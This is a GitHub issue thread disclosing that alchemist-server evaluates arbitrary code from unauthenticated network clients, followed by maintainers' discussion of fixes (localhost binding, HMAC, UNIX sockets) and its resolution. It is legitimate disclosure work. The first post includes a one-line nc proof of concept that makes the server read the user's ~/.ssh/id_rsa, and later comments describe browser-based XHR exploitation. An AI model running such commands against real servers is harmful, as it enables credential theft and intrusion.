Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Server executes arbitrary code from remote machines #14

Open
ivan opened this issue Feb 21, 2017 · 11 comments
Open

Server executes arbitrary code from remote machines #14

ivan opened this issue Feb 21, 2017 · 11 comments

Comments

@ivan
Copy link

@ivan ivan commented Feb 21, 2017

alchemist-server starts a server that executes arbitrary code from any host that you reach you on the network, without any kind of authentication.

git clone https://github.com/tonini/alchemist-server
cd alchemist-server
elixir run.exs --env=dev --listen

Take note of the port, because the exploit below doesn't brute-force the port (though this could easily be done by an attacker).

# echo 'EVAL File.write!("/tmp/payload", "File.read!(Path.expand(~s(~/.ssh/id_rsa)))");{:eval, "/tmp/payload"}' | nc 127.0.0.1 PORT
"Fake RSA key\n"
END-OF-EVAL

This also works from a remote machine because alchemist-server listens on all interfaces, not just localhost.

Listening on localhost by default would be a good idea, but is insufficient, because it still leaves the user open to attacks from other (less-trusted) users on the machine, and possibly from the user's web browser via a DNS rebinding attack.

Requiring a secret cookie before accepting any requests would be a good idea (beware, though, the secret needs a constant-time comparison). Even better would be to use a UNIX socket.

A secret cookie at the start of the connection is not a bulletproof fix because TCP connections can be hijacked in some cases. ycmd had the same problem with code execution and now HMACs every request, which seems like a better idea (if using a UNIX socket is impossible).

@slashmili
Copy link
Contributor

@slashmili slashmili commented Feb 22, 2017

Even better would be to use a UNIX socket.

Unfortunately UNIX socket was not available when I implemented this feature it's just introduced in Erlang 19. (and not everybody has Erlang 19 yet)

I guess the best approach for now would be to disable EVAL when tcp option is used.

@ivan
Copy link
Author

@ivan ivan commented Feb 23, 2017

I have just noticed that COMP, DEFL, DOCL, and INFO also run Code.eval_string on attacker-provided input, so disabling EVAL is not enough either.

alchemist-server:master# rg eval_string
lib/api/comp.exs
32:              aliases: aliases ]}, _} =  Code.eval_string(request)

lib/api/defl.exs
83:    {{expr, context_info}, _} = Code.eval_string(request)
85:    {module, _}               = Code.eval_string(module)

lib/api/docl.exs
30:        Code.eval_string("h(#{expr})", [], __ENV__)
79:              aliases: aliases]}, _} = Code.eval_string(request)

lib/api/eval.exs
21:        |> Code.eval_string
72:    {expr , _} = Code.eval_string(request)

lib/api/info.exs
51:        Code.eval_string("i(#{arg})", [], __ENV__)
61:        Code.eval_string("t(#{arg})", [], __ENV__)
74:      Code.eval_string(request)

lib/helpers/module_info.exs
33:    {module, _} = Code.eval_string(module)
@slashmili
Copy link
Contributor

@slashmili slashmili commented Mar 9, 2017

@ivan / @tonini What do you think if someone uses --listen option, we create a key pair and used that to encrypt the data?

The clients on the same machine(same user) can access to the key pair, encrypt send the commands through the secure channel.

@drichardson
Copy link

@drichardson drichardson commented May 17, 2017

As @ivan pointed out, listening on localhost wouldn't address all the problems, but it is better than listening on all interfaces like is happening now.

The machine I'm using now, for example, is single user only (me). If alchemist server used gen_tcp listen options to limit to localhost, I wouldn't suffer from any of the attacks he pointed out, other than DNS rebinding.

However, using the IP address 127.0.0.1 instead of localhost to gen_tcp listen options would prevent DNS rebinding as well.

@ivan
Copy link
Author

@ivan ivan commented May 17, 2017

The DNS rebinding attack happens in the browser: e.g. domain.com is first 1.2.3.4 and is then swapped to 127.0.0.1, hitting your local server.

@drichardson
Copy link

@drichardson drichardson commented May 17, 2017

Oh right, good point.

Still, I think it'd be worthwhile to change the gen_tcp options to only listen on localhost, as this would prevent the most obvious remote attacks.

@mveytsman
Copy link
Contributor

@mveytsman mveytsman commented Jul 21, 2017

Folks, this is really bad. Listening only on localhost is not enough!

Here's a proof of concept that gets code execution from any website via a javascript XHR request to localhost. That means even switching to localhost only isn't the solution.

This is incredibly dangerous and we need to fix it ASAP. I think the best solution is to stop running a TCP listener at all and listen on a unix socket instead.

@slashmili I understand your concern about this being OTP 19 only, but I think you should be comfortable making OTP 19 a requirement in order to prevent code execution from any webpage on the internet.


The code for my exploit is here. The trick is that alchemist server will ignore commands it doesn't understand, so we can send it an HTTP request with code to be evaluated in the body. Since we control the output, we can just format it as an HTTP response with the right CORS header to let us access the response in an XHR.

mveytsman added a commit to mveytsman/alchemist-server that referenced this issue Jul 21, 2017
This will at least make exploitation via XHR requests harder / impossible. This
should be the behavior anyway, but is by no means a complete fix for tonini#14.
mveytsman added a commit to mveytsman/alchemist-server that referenced this issue Jul 21, 2017
This will at least make exploitation via XHR requests harder / impossible. This
should be the behavior anyway, but is by no means a complete fix for tonini#14.
slashmili added a commit to slashmili/alchemist-server that referenced this issue Jul 23, 2017
try to reduce the security risk as it is pointed out tonini#14
tonini added a commit that referenced this issue Jul 24, 2017
try to reduce the security risk as it is pointed out #14
tonini added a commit that referenced this issue Jul 24, 2017
This will at least make exploitation via XHR requests harder / impossible. This
should be the behavior anyway, but is by no means a complete fix for #14.
@slashmili
Copy link
Contributor

@slashmili slashmili commented Jul 24, 2017

@mveytsman / @ivan / @drichardson can you check the latest commits and let me know what do you think?

@mveytsman
Copy link
Contributor

@mveytsman mveytsman commented Jul 24, 2017

My only suggestion is to not use system time for the filename (bbd1d20#commitcomment-23265073).

Otherwise I think this is the correct solution.

@drichardson
Copy link

@drichardson drichardson commented Jul 24, 2017

LGTM

@slashmili
Copy link
Contributor

@slashmili slashmili commented Jun 18, 2019

This issue was resolved in #16

alchemist.vim was updated immediately after the fix was ready

Just for the record alchemist.vim is using elixir_sense since Aug 2017 which is an alternative to alchemist-server.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
4 participants
You can’t perform that action at this time.